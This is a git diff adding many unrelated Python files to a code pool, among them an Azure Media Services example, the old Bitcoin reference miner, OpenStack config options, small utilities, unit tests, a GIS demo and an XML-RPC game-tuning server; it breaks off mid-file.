azurerm +import time +#import pytz +import logging +import datetime + +########################################################################################### +##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER ##### +########################################################################################### + +# ALL CODE IN THIS DIRECTOY (INCLUDING THIS FILE) ARE EXAMPLE CODES THAT WILL ACT ON YOUR +# AMS ACCOUNT. IT ASSUMES THAT THE AMS ACCOUNT IS CLEAN (e.g.: BRAND NEW), WITH NO DATA OR +# PRODUCTION CODE ON IT. DO NOT, AGAIN: DO NOT RUN ANY EXAMPLE CODE AGAINST PRODUCTION AMS +# ACCOUNT! IF YOU RUN ANY EXAMPLE CODE AGAINST YOUR PRODUCTION AMS ACCOUNT, YOU CAN LOSE +# DATA, AND/OR PUT YOUR AMS SERVICES IN A DEGRADED OR UNAVAILABLE STATE. BE WARNED! + +########################################################################################### +##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER ##### ##### DISCLAIMER ##### +########################################################################################### + +# Load Azure app defaults +try: + with open('config.json') as configFile: + configData = json.load(configFile) +except FileNotFoundError: + print("ERROR: Expecting config.json in current folder") + sys.exit() + +account_name = configData['accountName'] +account_key = configData['accountKey'] + +# Get the access token... +response = azurerm.get_ams_access_token(account_name, account_key) +resjson = response.json() +access_token = resjson["access_token"] + +#Initialization... +print ("\n-----------------------= AMS Py =----------------------"); +print ("Simple Python Library for Azure Media Services REST API"); +print ("-------------------------------------------------------\n"); + +### get ams redirected url +response = azurerm.get_url(access_token) +if (response.status_code == 200): + print("New Redirected URL: " + str(response.url)) +else: + print("GET Status: " + str(response.status_code) + " - Getting Redirected URL ERROR." + str(response.content)) + diff --git a/pool/shard000/Python/0007625_pyminer.py b/pool/shard000/Python/0007625_pyminer.py new file mode 100644 index 0000000000000000000000000000000000000000..80a6cc434c8b2ba191aaae55e6e2f8d7f4f3088c --- /dev/null +++ b/pool/shard000/Python/0007625_pyminer.py @@ -0,0 +1,252 @@ +#!/usr/bin/python +# +# Copyright (c) 2011 The Bitcoin developers +# Distributed under the MIT/X11 software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +# + +import time +import json +import pprint +import hashlib +import struct +import re +import base64 +import httplib +import sys +from multiprocessing import Process + +ERR_SLEEP = 15 +MAX_NONCE = 1000000L + +settings = {} +pp = pprint.PrettyPrinter(indent=4) + +class BitcoinRPC: + OBJID = 1 + + def __init__(self, host, port, username, password): + authpair = "%s:%s" % (username, password) + self.authhdr = "Basic %s" % (base64.b64encode(authpair)) + self.conn = httplib.HTTPConnection(host, port, False, 30) + def rpc(self, method, params=None): + self.OBJID += 1 + obj = { 'version' : '1.1', + 'method' : method, + 'id' : self.OBJID } + if params is None: + obj['params'] = [] + else: + obj['params'] = params + self.conn.request('POST', '/', json.dumps(obj), + { 'Authorization' : self.authhdr, + 'Content-type' : 'application/json' }) + + resp = self.conn.getresponse() + if resp is None: + print "JSON-RPC: no response" + return None + + body = resp.read() + resp_obj = json.loads(body) + if resp_obj is None: + print "JSON-RPC: cannot JSON-decode body" + return None + if 'error' in resp_obj and resp_obj['error'] != None: + return resp_obj['error'] + if 'result' not in resp_obj: + print "JSON-RPC: no result in object" + return None + + return resp_obj['result'] + def getblockcount(self): + return self.rpc('getblockcount') + def getwork(self, data=None): + return self.rpc('getwork', data) + +def uint32(x): + return x & 0xffffffffL + +def bytereverse(x): + return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | + (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) + +def bufreverse(in_buf): + out_words = [] + for i in range(0, len(in_buf), 4): + word = struct.unpack('@I', in_buf[i:i+4])[0] + out_words.append(struct.pack('@I', bytereverse(word))) + return ''.join(out_words) + +def wordreverse(in_buf): + out_words = [] + for i in range(0, len(in_buf), 4): + out_words.append(in_buf[i:i+4]) + out_words.reverse() + return ''.join(out_words) + +class Miner: + def __init__(self, id): + self.id = id + self.max_nonce = MAX_NONCE + + def work(self, datastr, targetstr): + # decode work data hex string to binary + static_data = datastr.decode('hex') + static_data = bufreverse(static_data) + + # the first 76b of 80b do not change + blk_hdr = static_data[:76] + + # decode 256-bit target value + targetbin = targetstr.decode('hex') + targetbin = targetbin[::-1] # byte-swap and dword-swap + targetbin_str = targetbin.encode('hex') + target = long(targetbin_str, 16) + + # pre-hash first 76b of block header + static_hash = hashlib.sha256() + static_hash.update(blk_hdr) + + for nonce in xrange(self.max_nonce): + + # encode 32-bit nonce value + nonce_bin = struct.pack(" Upstream RPC result:", result + + def iterate(self, rpc): + work = rpc.getwork() + if work is None: + time.sleep(ERR_SLEEP) + return + if 'data' not in work or 'target' not in work: + time.sleep(ERR_SLEEP) + return + + time_start = time.time() + + (hashes_done, nonce_bin) = self.work(work['data'], + work['target']) + + time_end = time.time() + time_diff = time_end - time_start + + self.max_nonce = long( + (hashes_done * settings['scantime']) / time_diff) + if self.max_nonce > 0xfffffffaL: + self.max_nonce = 0xfffffffaL + + if settings['hashmeter']: + print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( + self.id, hashes_done, + (hashes_done / 1000.0) / time_diff) + + if nonce_bin is not None: + self.submit_work(rpc, work['data'], nonce_bin) + + def loop(self): + rpc = BitcoinRPC(settings['host'], settings['port'], + settings['rpcuser'], settings['rpcpass']) + if rpc is None: + return + + while True: + self.iterate(rpc) + +def miner_thread(id): + miner = Miner(id) + miner.loop() + +if __name__ == '__main__': + if len(sys.argv) != 2: + print "Usage: pyminer.py CONFIG-FILE" + sys.exit(1) + + f = open(sys.argv[1]) + for line in f: + # skip comment lines + m = re.search('^\s*#', line) + if m: + continue + + # parse key=value lines + m = re.search('^(\w+)\s*=\s*(\S.*)$', line) + if m is None: + continue + settings[m.group(1)] = m.group(2) + f.close() + + if 'host' not in settings: + settings['host'] = '127.0.0.1' + if 'port' not in settings: + settings['port'] = 4869 + if 'threads' not in settings: + settings['threads'] = 1 + if 'hashmeter' not in settings: + settings['hashmeter'] = 0 + if 'scantime' not in settings: + settings['scantime'] = 30L + if 'rpcuser' not in settings or 'rpcpass' not in settings: + print "Missing username and/or password in cfg file" + sys.exit(1) + + settings['port'] = int(settings['port']) + settings['threads'] = int(settings['threads']) + settings['hashmeter'] = int(settings['hashmeter']) + settings['scantime'] = long(settings['scantime']) + + thr_list = [] + for thr_id in range(settings['threads']): + p = Process(target=miner_thread, args=(thr_id,)) + p.start() + thr_list.append(p) + time.sleep(1) # stagger threads + + print settings['threads'], "mining threads started" + + print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) + try: + for thr_proc in thr_list: + thr_proc.join() + except KeyboardInterrupt: + pass + print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port']) + diff --git a/pool/shard000/Python/0007628_config.py b/pool/shard000/Python/0007628_config.py new file mode 100644 index 0000000000000000000000000000000000000000..c9cecd61bd06961a68612cc71764790e909899e8 --- /dev/null +++ b/pool/shard000/Python/0007628_config.py @@ -0,0 +1,55 @@ +# vim: tabstop=4 shiftwidth=4 softtabstop=4 +# +# Copyright 2012, Nachi Ueno, NTT MCL, Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from oslo.config import cfg + + +meta_plugin_opts = [ + cfg.StrOpt('plugin_list', default='', + help=_("List of plugins to load")), + cfg.StrOpt('l3_plugin_list', default='', + help=_("List of L3 plugins to load")), + cfg.StrOpt('default_flavor', default='', + help=_("Default flavor to use")), + cfg.StrOpt('default_l3_flavor', default='', + help=_("Default L3 flavor to use")), + cfg.StrOpt('supported_extension_aliases', default='', + help=_("Supported extension aliases")), + cfg.StrOpt('extension_map', default='', + help=_("A list of extensions, per plugin, to load.")), + cfg.StrOpt('rpc_flavor', default='', + help=_("Flavor of which plugin handles RPC")), +] + +proxy_plugin_opts = [ + cfg.StrOpt('admin_user', + help=_("Admin user")), + cfg.StrOpt('admin_password', + help=_("Admin password"), + secret=True), + cfg.StrOpt('admin_tenant_name', + help=_("Admin tenant name")), + cfg.StrOpt('auth_url', + help=_("Authentication URL")), + cfg.StrOpt('auth_strategy', default='keystone', + help=_("The type of authentication to use")), + cfg.StrOpt('auth_region', + help=_("Authentication region")), +] + +cfg.CONF.register_opts(meta_plugin_opts, "META") +cfg.CONF.register_opts(proxy_plugin_opts, "PROXY") diff --git a/pool/shard000/Python/0007631_bluedump.py b/pool/shard000/Python/0007631_bluedump.py new file mode 100644 index 0000000000000000000000000000000000000000..567aab17d8a1cc2ba3948155e3de736e1c0a6266 --- /dev/null +++ b/pool/shard000/Python/0007631_bluedump.py @@ -0,0 +1,39 @@ +#!/usr/bin/python +# file: inquiry.py +# auth: Albert Huang +# desc: performs a simple device inquiry followed by a remote name request of +# each discovered device +# $Id: inquiry.py 401 2006-05-05 19:07:48Z albert $ +# + +import bluetooth +import sqlite3 +import sys +from pprint import pprint,pformat + +print "Setup database connection" +conn = sqlite3.connect('bluematter.db') +print "Opened database successfully"; + +print "Check if table 'people' exists." +cursor=conn.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='people';") +tableFound=False +for row in cursor: + if row[0] == 'people': + tableFound=True + print "Table 'people' already exists. Good." + break + +# +if tableFound == False: + print "Table 'people' was not found. Exiting." + sys.exit(1) + +cursor=conn.execute("select * from people ") +data=cursor.fetchall() +if len(data)==0: + print("There is no data in table 'people'.") +else: + pprint(data) + +conn.close() diff --git a/pool/shard000/Python/0007632_getpathart.py b/pool/shard000/Python/0007632_getpathart.py new file mode 100644 index 0000000000000000000000000000000000000000..eb8fc4581fa56f58a55b8094b346124764d9a118 --- /dev/null +++ b/pool/shard000/Python/0007632_getpathart.py @@ -0,0 +1,120 @@ +#!/usr/bin/python3 + +import os +import cgi +import json +import subprocess +import sqlite3 as lite + +class GetPathArt(): + def __init__(self): + db_loc = "/usr/share/ampyche/db/ampyche.db" + self.db_loc = db_loc + settings_db = "/usr/share/ampyche/db/settings.db" + self.settings_db = settings_db + + def _get_webpath(self): + wlan0 = subprocess.getoutput('/sbin/ifconfig wlan0') + error = "wlan0: error fetching interface information: Device not found" + if wlan0 == error: + ipa = subprocess.getoutput('/sbin/ifconfig').split('\n')[1].split()[1][5:] + return ipa + else: + ipa = subprocess.getoutput('/sbin/ifconfig').split('\n')[17].split()[1][5:] + return ipa + + def _create_path(self, fn): + con = lite.connect(self.settings_db) + cur = con.cursor() + cur.execute("SELECT catname, hostaddress FROM settings") + q = cur.fetchall() + con.close() + boo = "/usr/share/ampyche/music/" + q[0][0] + base = q[0][1] + "/music/" + q[0][0] + fn = fn[len(boo):] + fn = base + fn + fntmp = q[0][1] + "/music/tmp/" + fn[35:] + fsfntmp = "/usr/share/ampyche/music/tmp/" + fn[35:] + return fn, fntmp, fsfntmp + + def _get_path_pic_for_song(self, sname, cpogg, cpmp3): + con = lite.connect(self.db_loc) + cur = con.cursor() + cur.execute("SELECT filename, album_art, fileid, song FROM ampyche WHERE song=?", [sname]) + song = cur.fetchall() + gg = [] + for s in song: + fn = s[0] + fnl = fn.lower() + ext = fnl[-3:] + y = {} + y['songname'] = s[3] + albumart = s[1] + albumart = albumart[10:] + z = self._get_webpath() + z = "http://" + z + albumart1 = z + albumart + y['albumart'] = albumart1 + y['fileid'] = s[2] + if ext == "mp3": + #Browser supports mp3 playback so play the song + if cpmp3 == "true" and cpogg == 'true': + filename = self._create_path(fn) + y['filename'] = filename[0] + gg.append(y) + elif cpmp3 == "true" and cpogg == 'false': + filename = self._create_path(fn) + y['filename'] = filename[0] + gg.append(y) + elif cpmp3 == "false" and cpogg == 'true': + filename = self._create_path(fn) + filename1 = filename[1] + webpath = filename1[:-3] + "ogg" + convpath = filename[2][:-3] + "ogg" + dirmp3 = os.path.dirname(filename[2]) + if not os.path.exists(dirmp3): + os.makedirs(dirmp3) + subprocess.call(['avconv', '-i', fn, '-ab', '128k', '-acodec', 'libvorbis', convpath]) + y['filename'] = webpath + gg.append(y) + else: + pass + elif ext == "ogg": + if cpmp3 == 'true' and cpogg == "true": + filename = self._create_path(fn) + y['filename'] = filename[0] + gg.append(y) + elif cpmp3 == 'false' and cpogg == "true": + filename = self._create_path(fn) + y['filename'] = filename[0] + gg.append(y) + elif cpmp3 == 'true' and cpogg == "false": + filename = self._create_path(fn) + filename = filename[1] + filenamemp3 = filename[:-3] + "mp3" + dirogg = os.path.dirname(filename[2]) + if not os.path.exists(dirogg): + os.makedirs(dirogg) + #subprocess.call(['avconv', '-i', fn, '-ab', '128k', filenamemp3]) + y['filename'] = filenamemp3 + gg.append(y) + else: + pass + else: + pass + print(json.dumps(gg, sort_keys=True, indent=4)) + + +print("Content-Type: application/json\n\n") +s = cgi.FieldStorage() + +#sn = "Brown Eyes" +#fsogg = "true" +#fsmp3 = "false" + + +sn = s.getvalue("songname") +fsogg = s.getvalue('canplayogg') +fsmp3 = s.getvalue('canplaymp3') +GPA = GetPathArt() +run = GPA._get_path_pic_for_song(sn, fsogg, fsmp3) \ No newline at end of file diff --git a/pool/shard000/Python/0007635_update_collection.py b/pool/shard000/Python/0007635_update_collection.py new file mode 100644 index 0000000000000000000000000000000000000000..ebe6c82e5287b3066850e30748006a7ae4afc84e --- /dev/null +++ b/pool/shard000/Python/0007635_update_collection.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +#Last-modified: 14 Jan 2013 02:04:05 PM +import json +import os.path +import hashlib + + +HASH_PREFIX = "/mnt/us/documents/" +ALLOWED_EXTENSIONS = ["pdf", "mobi", "azw", "txt", "prc"] + +class Collection(object): + def __init__(self, root="/media/Kindle/"): + """ Initialize the Collection class, load the existing class. + """ + self.root = root + # load the current collections + self.load() + + def load(self): + """ load existing collection json file. + """ + fcln = os.path.join(self.root, "system", "collections.json") + f = file(fcln, "r") + # json file + self.cln = json.load(f) + # all the collection names + self.cnames = self.cln.keys() + f.close() + + def update(self, c, new_hal, fname): + """ update collection and new_hal to the database. + """ + _c = " ".join([c, "-@en-US"]) + if _c in self.cnames : + if new_hal in self.cln[_c]["items"] or "*"+new_hal in self.cln[_c]["items"] : + pass + else : + print("file %s does not exist in %s..."%(fname, _c)) + print("append file %s to %s..."%(fname, _c)) + self.cln[_c]["items"].append("*%s" % new_hal) + else : + print("collection %s does not exist, create..."%_c) + print("append file %s to %s..."%(fname, _c)) + new_collection = {"items":[]} + new_collection["items"].append("*%s" % new_hal) + self.cln[_c] = new_collection + self.cnames = self.cln.keys() + + def forage(self, folder="Incoming"): + """ detect new files and merge them into data base. + """ + if folder.startswith("/") : + raise RuntimeError("folder needs to be a dir relative to ") + elif len(folder) == 0 : + isnode = True + path = os.path.join(self.root, "documents") + else : + isnode = False + path = os.path.join(self.root, "documents", folder) + if not os.path.isdir(path) : + print("folder %s does not exist, exit..." % folder) + else : + print("foraging directory : %s" % folder) + if isnode : + current_collection = None + print("at root node") + else : + current_collection = folder.replace("/", " - ") + print("Current collection name : %s" % current_collection) + # Go through all the files in this directory + for filename in os.listdir(path): + # Check if is a file + if os.path.isfile(os.path.join(path, filename)) and (not isnode): + # Get extension of that file + extension = filename.split(".")[-1] + # Check if file is the one we would want to add + if extension in ALLOWED_EXTENSIONS : + # Calculate SHA1 hash for the /mnt/us// + old_hal = gethash(os.path.join(folder, filename)) + self.update(current_collection, old_hal, filename) + # Check if is directory + elif os.path.isdir(os.path.join(path, filename)): + # Parse this sub-directory recursively + self.forage(folder=os.path.join(folder, filename)) + + def save(self, outdir=None) : + """ Convert collections to JSON + """ + collections_json = json.dumps(self.cln) + # Write JSON to a collections.json + if outdir is None : + json_path = os.path.join(self.root, "system", "collections.json") + else : + json_path = outdir + print("Writing collections.json file to %s" % json_path) + f = open(json_path, "w") + f.write(collections_json) + f.close() + + def default(self) : + self.cln = {} + self.cnames = [] + self.forage(folder="") + +def gethash(fname): + """ get hash string. + """ + hin = os.path.join(HASH_PREFIX, fname) + hobj = hashlib.sha1(hin) + hval = hobj.hexdigest() + return(hval) + +if __name__ == "__main__": + cln = Collection() + cln.forage(folder="Incoming/arxiv") +# cln.default() + cln.save() diff --git a/pool/shard000/Python/0007640_get_completions_test.py b/pool/shard000/Python/0007640_get_completions_test.py new file mode 100644 index 0000000000000000000000000000000000000000..fd5c4f534f516d718d6f91400f899b3a148de853 --- /dev/null +++ b/pool/shard000/Python/0007640_get_completions_test.py @@ -0,0 +1,45 @@ +# Copyright (C) 2015 ycmd contributors +# +# This file is part of ycmd. +# +# ycmd is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ycmd is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with ycmd. If not, see . + +from __future__ import absolute_import +from __future__ import unicode_literals +from __future__ import print_function +from __future__ import division +from future import standard_library +standard_library.install_aliases() +from builtins import * # noqa + +from hamcrest import assert_that, has_item +from .go_handlers_test import Go_Handlers_test +from ycmd.utils import ReadFile + + +class Go_GetCompletions_test( Go_Handlers_test ): + + def Basic_test( self ): + filepath = self._PathToTestFile( 'test.go' ) + completion_data = self._BuildRequest( filepath = filepath, + filetype = 'go', + contents = ReadFile( filepath ), + force_semantic = True, + line_num = 9, + column_num = 11 ) + + results = self._app.post_json( '/completions', + completion_data ).json[ 'completions' ] + assert_that( results, + has_item( self._CompletionEntryMatcher( u'Logger' ) ) ) diff --git a/pool/shard000/Python/0007644_test_model_serializer_deserialize_fk.py b/pool/shard000/Python/0007644_test_model_serializer_deserialize_fk.py new file mode 100644 index 0000000000000000000000000000000000000000..f03e0055973850e12a10e07ea8e836d9db17c4c1 --- /dev/null +++ b/pool/shard000/Python/0007644_test_model_serializer_deserialize_fk.py @@ -0,0 +1,66 @@ +from ..serializers.model_serializer import ModelSerializer +from .dragon_test_case import DragonTestCase +from .models import TextModel, SDModel +from django.db import models + + +class Parent(SDModel): + name = models.CharField(max_length=20) + + +class Child(SDModel): + parent = models.ForeignKey(Parent) + number = models.IntegerField() + + +class ChildSerializer(ModelSerializer): + parent = 'ParentSerializer' + + class Meta: + model = Child + update_fields = ('number', 'parent') + + +class ParentSerializer(ModelSerializer): + child_set = ChildSerializer + + class Meta: + model = Parent + publish_fields = ('name') + update_fields = ('name', 'child_set') + + +class TestModelSerializer(DragonTestCase): + def test_deserialize_with_fk(self): + data = { + 'name': 'foo', + 'child_set': [ + {'number': 5} + ] + } + serializer = ParentSerializer(data) + parent = serializer.save() + self.assertEqual(parent.name, data['name']) + self.assertEqual(parent.child_set.first().number, data['child_set'][0]['number']) + + def test_deserialize_with_reverse_fk(self): + data = { + 'number': 123, + 'parent': { + 'name': 'foo' + } + } + serializer = ChildSerializer(data) + child = serializer.save() + self.assertEqual(child.number, data['number']) + self.assertEqual(child.parent.name, data['parent']['name']) + + def test_get_object_map(self): + """ + The object map should return information on how to map parents to children + and vice versa + """ + object_map = ParentSerializer.get_object_map() + self.assertLessEqual(len(object_map), 2) + for om in object_map: + self.assertIn('via', om) diff --git a/pool/shard000/Python/0007647_INIFILE.py b/pool/shard000/Python/0007647_INIFILE.py new file mode 100644 index 0000000000000000000000000000000000000000..99c751dbfcc1a0f26b2b73e3c840af04bd085648 --- /dev/null +++ b/pool/shard000/Python/0007647_INIFILE.py @@ -0,0 +1,76 @@ +# -*- coding:utf-8 -*_ +import ConfigParser, sys +class INIFILE: + """ + a class which can process *.ini file + with read and write function. + """ + def __init__(self, fileName): + self.fileName = fileName + # print self.fileName + self.initflag = False + self.cfg = None + self.readhandle = None + self.writehandle = None + self.is_read = False + self.is_write = False + + #is_read :is read enable? is_write: is write enable? + #must write something if you set is_write to true. otherwise your file become empty. + def Init(self, is_read, is_write): + self.cfg = ConfigParser.ConfigParser() + try: + if is_read: + self.is_read = True + self.readhandle = open(self.fileName, 'r') + self.cfg.readfp(self.readhandle) + + if is_write: + self.is_write = True + self.writehandle = open(self.fileName, 'w') + + self.initflag = True + except Exception, e: + self.initflag = False + print e + return self.initflag + + #close the file + def UnInit(self): + if self.initflag: + if self.is_read: + self.readhandle.close() + #print '================close the read handle================' + if self.is_write: + self.writehandle.close() + #print '================close the write handle================' + + def GetValue(self, Section, Key, Default = '0'): + try: + value = self.cfg.get(Section, Key) + except Exception, e: + #print e + value = Default + return value + + def SetValue(self, Section, Key, Value): + if not self.is_write: + print 'can not SetValue, switch the write function to true first.' + return + if not self.cfg.has_section(Section): + print 'Section [%s] does not exists. Going to add it first' %(Section) + self.cfg.add_section(Section) + self.cfg.set(Section, Key, Value) + self.cfg.write(self.writehandle) + + +# file = INIFILE('totalpage.ini') +# file.Init() +# num = file.GetValue('Main', 'totalpage', '') +# print num +# +# file.SetValue('Main', 'totalpage', '805') +# print file.GetValue('Main', 'TotalPage', '0') +# +# file.SetValue('DEMO', 'whoami', 'Admin') +# print file.GetValue('DEMO', 'whoami', 'Admin') \ No newline at end of file diff --git a/pool/shard000/Python/0007651_1138_01_01_SimpleGIS.py b/pool/shard000/Python/0007651_1138_01_01_SimpleGIS.py new file mode 100644 index 0000000000000000000000000000000000000000..be0cf5bb6ac77e71e82d32efe3950d768a16e9d7 --- /dev/null +++ b/pool/shard000/Python/0007651_1138_01_01_SimpleGIS.py @@ -0,0 +1,116 @@ +#SimpleGIS.py - A Simple GIS + +import turtle as t + +# DATA MODEL +# All layers will have a name, 1+ points, and population count +NAME = 0 +POINTS = 1 +POP = 2 + +# Create the state layer +state = ["COLORADO", [[-109, 37], [-109, 41], [-102, 41], [-102, 37]], 5187582] + +# Cities layer list +# city = [name, [point], population] +cities = [] + +# Add Denver +cities.append(["DENVER",[-104.98, 39.74], 634265]) +# Add Boulder +cities.append(["BOULDER",[-105.27, 40.02], 98889]) +# Add Durango +cities.append(["DURANGO",[-107.88,37.28], 17069]) + +# MAP GRAPHICS RENDERING +map_width = 800 +map_height = 500 + +# State Bounding Box +# Use Python min/max function to get bounding box +minx = 180 +maxx = -180 +miny = 90 +maxy = -90 +for x,y in state[POINTS]: + if x < minx: minx = x + elif x > maxx: maxx = x + if y < miny: miny = y + elif y > maxy: maxy = y +# Get earth distance on each axis +dist_x = maxx - minx +dist_y = maxy - miny + +# Scaling ratio each axis +# to map points from world to screen +x_ratio = map_width / dist_x +y_ratio = map_height / dist_y + +# Function to convert lat/lon to screen coordinates +def convert(point): + lon = point[0] + lat = point[1] + x = map_width - ((maxx - lon) * x_ratio) + y = map_height - ((maxy - lat) * y_ratio) + # Python turtle graphics start in the middle of the screen + # so we must offset the points so they are centered + x = x - (map_width/2) + y = y - (map_height/2) + return [x,y] + +# Draw the state +t.up() +first_pixel = None +for point in state[POINTS]: + print(point) + pixel = convert(point) + print(pixel) + if not first_pixel: + first_pixel = pixel + t.goto(pixel) + t.down() +# Go back to the first point +t.goto(first_pixel) +# Label the state +t.up() +t.goto([0,0]) +t.write(state[NAME], align="center", font=("Arial",16,"bold")) + +# Draw the cities +for city in cities: + pixel = convert(city[POINTS]) + t.up() + t.goto(pixel) + # Place a point for the city + t.dot(10) + # Label the city + t.write(city[NAME] + ", Pop.: " + str(city[POP]), align="left") + t.up() + +# Perform an attribute query +# Question: Which city has the largest population? +# Write the result but make sure it's under the map +biggest_city = max(cities, key=lambda city:city[POP]) +t.goto(0, -1*((map_height/2)+20)) +t.write("The biggest city is: " + biggest_city[NAME]) + +# Perform a spatial query +# Question: Which is the western most city? +# Write the result but make sure it's under the other question +western_city = min(cities, key=lambda city:city[POINTS]) +t.goto(0, -1*((map_height/2)+40)) +t.write("The western-most city is: " + western_city[NAME]) + +# Hide our map pen +t.pen(shown=False) +t.done() + + + + + + + + + + diff --git a/pool/shard000/Python/0007654_071_simplify_path.py b/pool/shard000/Python/0007654_071_simplify_path.py new file mode 100644 index 0000000000000000000000000000000000000000..5f371af87576a006bea3f06b80f4edcb060220a4 --- /dev/null +++ b/pool/shard000/Python/0007654_071_simplify_path.py @@ -0,0 +1,40 @@ +""" +Given an absolute path for a file (Unix-style), simplify it. + +For example, +path = "/home/", => "/home" +path = "/a/./b/../../c/", => "/c" + +Corner Cases: + +Did you consider the case where path = "/../"? + +In this case, you should return "/". + +Another corner case is the path might contain multiple slashes '/' together, +such as "/home//foo/". + +In this case, you should ignore redundant slashes and return "/home/foo". +""" +class Solution(object): + def simplifyPath(self, path): + """ + :type path: str + :rtype: str + """ + soln = [] + for folder in path.split('/'): + if folder == '.' or folder == '': + continue + elif folder == '..': + if len(soln) > 0: + soln.pop() + else: + soln.append(folder) + return '/' + '/'.join(soln) + +a = Solution() +print(a.simplifyPath("/home/") == "/home") +print(a.simplifyPath("/a/./b/../../c/") == "/c") +print(a.simplifyPath("/../") == "/") +print(a.simplifyPath("/home//foo/") == "/home/foo") diff --git a/pool/shard000/Python/0007657_cmakemakecp.py b/pool/shard000/Python/0007657_cmakemakecp.py new file mode 100644 index 0000000000000000000000000000000000000000..70bad5725662ca7dfcfd978931b3f2225c465e65 --- /dev/null +++ b/pool/shard000/Python/0007657_cmakemakecp.py @@ -0,0 +1,54 @@ +## +# Copyright 2009-2020 Ghent University +# +# This file is part of EasyBuild, +# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), +# with support of Ghent University (http://ugent.be/hpc), +# the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), +# Flemish Research Foundation (FWO) (http://www.fwo.be/en) +# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). +# +# https://github.com/easybuilders/easybuild +# +# EasyBuild is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation v2. +# +# EasyBuild is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with EasyBuild. If not, see . +## +""" +EasyBuild support for software configured with CMake but without 'make install' step, implemented as an easyblock + +@author: Samuel Moors, Vrije Universiteit Brussel (VUB) +""" +from easybuild.easyblocks.generic.cmakemake import CMakeMake +from easybuild.easyblocks.generic.makecp import MakeCp +import os + + +class CMakeMakeCp(CMakeMake, MakeCp): + """Software configured with CMake but without 'make install' step + + We use the default CMakeMake implementation, and use install_step from MakeCp. + """ + + @staticmethod + def extra_options(extra_vars=None): + extra_vars = MakeCp.extra_options(extra_vars) + return CMakeMake.extra_options(extra_vars=extra_vars) + + def configure_step(self, srcdir=None, builddir=None): + """Configure build using CMake""" + return CMakeMake.configure_step(self, srcdir=srcdir, builddir=builddir) + + def install_step(self): + """Install by copying specified files and directories.""" + if self.cfg.get('separate_build_dir', False): + self.cfg['start_dir'] = os.path.join(self.builddir, 'easybuild_obj') + return MakeCp.install_step(self) diff --git a/pool/shard000/Python/0007659_server.py b/pool/shard000/Python/0007659_server.py new file mode 100644 index 0000000000000000000000000000000000000000..06cdcc3ad3e8df80601e70934584093dd5fa1152 --- /dev/null +++ b/pool/shard000/Python/0007659_server.py @@ -0,0 +1,139 @@ +#!/usr/bin/python + +import xmlrpclib +from SimpleXMLRPCServer import SimpleXMLRPCServer +import random, os, datetime, sys, traceback, math + + +start_time = datetime.datetime.now() +log_dir = "/home/dokstud/lew/logi/%s" % start_time.isoformat() + +report_file = "report.csv" + +params_sampler = { + "progressive_bias" : lambda: random.uniform (60.0, 120), + "progressive_bias_prior" : lambda: random.uniform (0, 40), + "proxy_1_bonus" : lambda: random.uniform (0, 30), + "proxy_2_bonus" : lambda: random.uniform (0, 20), + } + +params_names = params_sampler.keys () #csv header + +csv_header = ", ".join (params_names) + ", first_is_black, first_win, sgf_file" + +params_of_series = [] +games_per_series = 2 + +gnugo = \ + "'/home/dokstud/lew/.bin/gnugo-3.8 --mode gtp --chinese-rules" \ + " --capture-all-dead --positional-superko --level=0'" + +libego = \ + "'/home/dokstud/lew/libego/bin/engine" \ + " \"LoadGammas /home/dokstud/lew/libego/bin/3x3.gamma\"" \ + " %s gtp'" + +gtp_set_command = "set" + +# TODO seed, cputime +workers = {} +idle_workers = {} + +def gen_params (): + return dict (((p, params_sampler [p] ()) for p in params_names)) + + +def params_to_gtp (params): + gtp = "" + for param_name in params_names: + gtp += '"%s %s %f" ' % (gtp_set_command, param_name, params[param_name]) + return gtp + + +def format_report_line (series_id, first_is_black, first_win, sgf): + params = params_of_series [series_id] + csv_line = ", ".join ((str(params [param_name]) for param_name in params_names)) + # scv_line, oh yeah :) + return csv_line + (', %d, %d, "%s"' % (first_is_black, first_win, sgf)) + + +def report_idling (worker_id): + idle_workers [worker_id] = datetime.datetime.now() + if (worker_id in workers): + print "Warning! Idling worker on worker list." + return 0 + + +def get_game_setup (worker_id): + if (worker_id in workers): + print "Warning! Worker already on worker list." + if (worker_id in idle_workers): + idle_workers.pop (worker_id) + workers [worker_id] = datetime.datetime.now() + + global series_id + params = gen_params () + series_id = len (params_of_series) + params_of_series.append (params) + ret = (log_dir, + series_id, + games_per_series, + libego % params_to_gtp (params), + gnugo + ) + return ret + + +def report_game_result (worker_id, clog_dir, series_id, result_list): + # error handling + if (not worker_id in workers): + print "Old report from ", worker_id + if (clog_dir == log_dir): + print "Warning! but the same experiment dir!" + return 0; + if clog_dir != log_dir: + print "Warning! in pool, but wrong dir!!" + return 0 + + worker_start = workers.pop (worker_id) + f = open (report_file, "a") + # TODO check for result length + for (first_is_black, first_win, 